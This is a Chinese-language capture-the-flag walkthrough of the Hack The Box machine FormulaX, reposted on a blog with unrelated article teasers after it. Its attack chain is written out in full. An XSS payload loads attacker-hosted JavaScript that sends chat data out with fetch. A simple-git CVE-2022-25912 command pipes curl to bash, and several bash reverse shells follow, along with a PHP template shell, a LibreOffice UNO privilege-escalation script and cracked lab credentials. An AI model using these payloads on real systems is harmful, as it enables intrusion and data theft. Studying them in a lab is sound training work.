htb_FormulaX(XSS)

在这里插入图片描述

信息收集

常规信息收集

nmap -sV -sC 10.10.11.6

开放22,80端口

gobuster dir -u http://10.10.11.6/ -w /usr/share/Seclists-master/Discovery/Web-Content/directory-list-2.3-medium.txt

一无所获

80端口-web

注册账户
在这里插入图片描述

Chat Now 和 Contact Us是重点

在这里插入图片描述

Chat Now

一个ai聊天页面

提醒我们使用help和history命令

在这里插入图片描述

抓包,发现该请求采用socket.io轮询方式

在这里插入图片描述

contact_us

一个表单,尝试xss注入,存在漏洞

在这里插入图片描述

这个听说可以扫出来,但我换了几个工具也没扫到,不知道为啥

chat页面的js文件

Client端:接受从服务端传来的message字段,向服务端发送client_message字段

在这里插入图片描述

仿照chat.js代码,编写payload利用xss漏洞在contact_us表单上尝试注入

xss.js

let value;const res = axios.get(`/user/api/chat`);const socket = io('/',{withCredentials: true});//listening for the messagessocket.on('message', (my_message) => { 
//console.log("Received From Server: " + my_message)  // Show_messages_on_screen_of_Server(my_message)     //将监听数据发送到本机监听端口上fetch("http://10.10.16.9:3333/?mes=" + btoa(my_message );}) const typing_chat_new = () => {  
//尝试向服务器发送'history'value = "history";//document.getElementById('user_message').value  if (value) {  // sending the messages to the server  socket.emit('client_message', value)  Show_messages_on_screen_of_Client(value);  // here we will do out socket things..  document.getElementById('user_message').value = "" } 
else { alert("Cannot send Empty Messages"); }} 

将xss.js文件放在攻击机上,开启http服务,表单上注入(表单过滤了<script>)

<img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.16.9:4444/xss.js';document.head.appendChild(script1);"/>

攻击机开启监听

python3 -m http.server 3333

接收到返回数据,进行base64解码

在这里插入图片描述

其中一句提醒我们有一个新的域名,加入/etc/hosts访问

dev-git-auto-update.chatbot.htb

在这里插入图片描述

发现版本号simple-git v3.14 ,存在cve漏洞

CVE-2022-25912

在这里插入图片描述

poc提示我们输入以下代码,可以使服务器下载payload并执行

ext::sh -c curl% http://10.10.16.9:3333/shell1.sh|bash >&2

shell1.sh

#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.9/1234 0>&1"

在这里插入图片描述

get shell

反弹shell执行,获得www-data权限

在这里插入图片描述

发现存在mongodb数据库

在这里插入图片描述

查看users表内容

show dbsuse testingshow collectionsdb.users.find()

发现两个用户信息,将密码复制下来放到john中解密

在这里插入图片描述

解密出来一个,是frank_dorky的密码frank_dorky:manchesterunited

在这里插入图片描述

开放了22端口,登录ssh,获得frank_dorky权限

sudo -l 无法使用

在这里插入图片描述

查看网络端口开放,开放了3000端口,上传chisel转发出来看看

在这里插入图片描述

chisel server -p 6150 --reverse
./chisellinux client 10.10.16.9:6150 R:3000:127.0.0.1:3000

本机访问127.0.0.1:3000,是一个libernms界面,搜索相关漏洞后,发现可以通过调用adduser.php添加管理用户

在这里插入图片描述

(这一段忘记截图了)

在frank_dorky用户下

cd /opt/librenms./adduser.php cc cc 10

添加成功后,利用账号密码cc:cc进行登录

若提示失败,则将域名(127.0.1 libernms.com)添加至/etc/hosts再访问(libernms.com:3000)

该网站有一个templates模块,添加一段反弹shell的php代码

https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms

@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.9/8888 0>&1'");
@endphp

反弹成功后,使用env命令查看环境变量,发现用户kai_relay凭据

kai_relay:mychemicalformulaX

在这里插入图片描述

提权

登录ssh,获得kai_relay权限

在这里插入图片描述

sudo -l 查看权限,发现该用户对于/user/bin/office.sh文件具有sudo权限

该脚本用于启动LiberOffice,开放2002端口接受远程调用

在这里插入图片描述

脚本链接

修改最后一句为反弹shell文件路径

#exploit.py
import uno
from com.sun.star.system import XSystemShellExecute
import argparseparser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)args = parser.parse_args()
# Define the UNO component
localContext = uno.getComponentContext()# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", localContext )# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve("uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("/tmp/sh1.sh", '',1)

cd /tmp 后,将exploit.py,sh1.sh上传,给sh1.sh添加执行权限

在这里插入图片描述

再另起一个ssh连接,先执行sudo office.sh,再执行exploit.py

sudo /usr/bin/office.sh
另起终端
python3 exploit.py --host localhost --port 2002

在这里插入图片描述

在这里插入图片描述

成功反弹root权限shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/15061.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

台湾省军事演习路径规划:A*算法在复杂地形中的应用

❤️❤️❤️ 欢迎来到我的博客。希望您能在这里找到既有价值又有趣的内容&#xff0c;和我一起探索、学习和成长。欢迎评论区畅所欲言、享受知识的乐趣&#xff01; 推荐&#xff1a;数据分析螺丝钉的首页 格物致知 终身学习 期待您的关注 导航&#xff1a; LeetCode解锁100…

【全开源】分类记账小程序系统源码(ThinkPHP+FastAdmin+UniApp)

基于ThinkPHPFastAdminUniAppvk-uView-uiVue3.0开发的一款支持多人协作的记账本小程序&#xff0c;可用于家庭&#xff0c;团队&#xff0c;组织以及个人的日常收支情况记录&#xff0c;支持周月年度统计。 &#xff1a;智能管理您的财务生活 一、引言&#xff1a;财务智能化…

HTTP 错误 404.3 - Not Found 问题处理

问题描述 HTTP 错误 404.3 - Not Found 由于扩展配置问题而无法提供您请求的页面。如果该页面是脚本&#xff0c;请添加处理程序。如果应下载文件&#xff0c;请添加 MIME 映射。 解决对策

如何网页在线编辑 Office word 文档,并支域功能:创建域/插入域/替换域等

在日常在线办公场景中&#xff0c;我们经常会遇到一些复杂的文档编辑需求&#xff0c;特别是我们经常会遇到一些复杂的数学公式&#xff0c;会用到“域”功能&#xff0c;“域”功能便是一个高级且实用的工具。通过设置域&#xff0c;用户可以实现文档的自动化处理&#xff0c;…

【QT实战】汇总导航

✨Welcome 大家好&#xff0c;欢迎来到瑾芳玉洁的博客&#xff01; &#x1f611;励志开源分享诗和代码&#xff0c;三餐却无汤&#xff0c;顿顿都被噎。 &#x1f62d;有幸结识那个值得被认真、被珍惜、被捧在手掌心的女孩&#xff0c;不出意外被敷衍、被唾弃、被埋在了垃圾堆…

捕捉二氧化碳也能赚钱?深入探索CCUS技术与商业前景

引言 随着全球变暖和气候变化的加剧&#xff0c;如何有效减少二氧化碳&#xff08;CO2&#xff09;排放成为各国亟待解决的问题。近日&#xff0c;全球最大的二氧化碳捕集工厂在冰岛正式运营&#xff0c;这一消息引起了广泛关注。本文将深入探讨捕集二氧化碳技术&#xff08;C…

跟TED演讲学英文:Bring on the learning revolution! by Sir Ken Robinson

Bring on the learning revolution! Link: https://www.ted.com/talks/sir_ken_robinson_bring_on_the_learning_revolution Speaker: Sir Ken Robinson Date: February 2010 文章目录 Bring on the learning revolution!IntroductionVocabularySummaryTranscriptAfterword I…

基于 BERT 对 IMDB 电影评论进行情感分类

前言 系列专栏:【深度学习&#xff1a;算法项目实战】✨︎ 涉及医疗健康、财经金融、商业零售、食品饮料、运动健身、交通运输、环境科学、社交媒体以及文本和图像处理等诸多领域&#xff0c;讨论了各种复杂的深度神经网络思想&#xff0c;如卷积神经网络、循环神经网络、生成对…

# AI产品经理的自我修养:既懂用户,更懂技术!

今天上班的时候&#xff0c;发现很多AI社群都在讨论一篇播客《一个顶级AI产品经理的自我修养&#xff0c;对谈光年之外产品负责人Hidecloud》&#xff0c;这篇播客的嘉宾是光年之外的产品负责人——Hidecloud&#xff08;张涛&#xff09;&#xff0c;聊了许多关于他在做AI产品…

MySQL多表关联查询习题

一、素材 -- Active: 1714203732007127.0.0.13306db_stu -- 1.创建student和score表 CREATE TABLE student ( id INT(10) NOT NULL UNIQUE PRIMARY KEY , name VARCHAR(20) NOT NULL , sex VARCHAR(4) , birth YEAR, department VARCHAR(20) , address VARCHAR(50) ); -- 创建…

【机器学习】机器学习基础概念与初步探索

❀机器学习 &#x1f4d2;1. 引言&#x1f4d2;2. 机器学习概述&#x1f4d2;3. 机器学习基础概念&#x1f389;2.1 机器学习的分类&#x1f389;2.2 数据预处理&#x1f308;数据清洗与整合&#x1f308; 特征选择和特征工程&#x1f308;数据标准化与归一化 &#x1f4d2;4. …

探数API统计分享-2017年-2021年中国各省人均消费支出统计

根据2017年至2021年的统计数据&#xff0c;我国各省&#xff08;市、区&#xff09;的人均消费支出情况各不相同。其中&#xff0c;上海的人均消费支出最高&#xff0c;达到了2021年的48879元&#xff0c;位居全国之首。紧随其后的是北京&#xff0c;人均消费支出为43640元。 …

类和对象(下篇)(未完结)!

文章目录 在谈构造函数1.构造函数体赋值2.初始化列表尽量使用初始化列表&#xff1f;初始化列表的初始化顺序&#xff1f;成员变量声明处的缺省值构造函数支持类型转换3.explicit关键字 static成员 在谈构造函数 1.构造函数体赋值 class Date{public:Date(int year, int mont…

其它高阶数据结构⑦_Skiplist跳表_概念+实现+对比

目录 1. Skiplist跳表的概念 2. Skiplist跳表的效率 3. Skiplist跳表的实现 3.1 力扣1206. 设计跳表 3.2 Skiplist的初始化和查找 3.3 Skiplist的增加和删除 3.4 Skiplist的源码和OJ测试 4. 跳表和平衡搜索树/哈希表的对比 本篇完。 1. Skiplist跳表的概念 skiplist是…

麻省理工出品!这个自动化神器让你的电脑自己工作

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

软件即服务-SaaS

目录 1. SaaS成熟度模型 2. SaaS应用平台 3. SaaS应用实现层次 4. 多租户技术 5. 可配置性 5.1 业务构件 5.2 数据可配置 5.2.1 定制字段 5.2.2 预分配字段 5.2.3 名称值对 5.3 功能可配置 5.3.1 业务构件设计 5.3.2 功能包设计 5.3.3 销售包设计…

16.线性回归代码实现

线性回归的实操与理解 介绍 线性回归是一种广泛应用的统计方法&#xff0c;用于建模一个或多个自变量&#xff08;特征&#xff09;与因变量&#xff08;目标&#xff09;之间的线性关系。在机器学习和数据科学中&#xff0c;线性回归是许多入门者的第一个模型&#xff0c;它…

A股重磅!史上最严减持新规,发布!

此次减持新规被市场视为A股史上最严、最全面的规则&#xff0c;“花式”减持通道被全面“封堵”。 5月24日晚间&#xff0c;证监会正式发布《上市公司股东减持股份管理暂行办法》&#xff08;以下简称《减持管理办法》&#xff09;及相关配套规则。 据了解&#xff0c;《减持…

工作学习的电脑定时关机,定时重启,定时提醒

可以直接下载工具&#xff1a; 定时自动关机 大家好&#xff0c;&#xff01; 在我们学习与工作时&#xff0c;经常会遇到想要在完成一个任务后&#xff0c;再关闭电脑或对电脑重启&#xff0c;但这个时间点&#xff0c;操作电脑的人可能不能在电脑旁边&#xff0c;这样就需要…

大语言模型的工程技巧(四)——梯度检查点

相关说明 这篇文章的大部分内容参考自我的新书《解构大语言模型&#xff1a;从线性回归到通用人工智能》&#xff0c;欢迎有兴趣的读者多多支持。 本文将讨论如何利用梯度检查点算法来减少模型在训练时候&#xff08;更准确地说是运行反向传播算法时&#xff09;的内存开支。…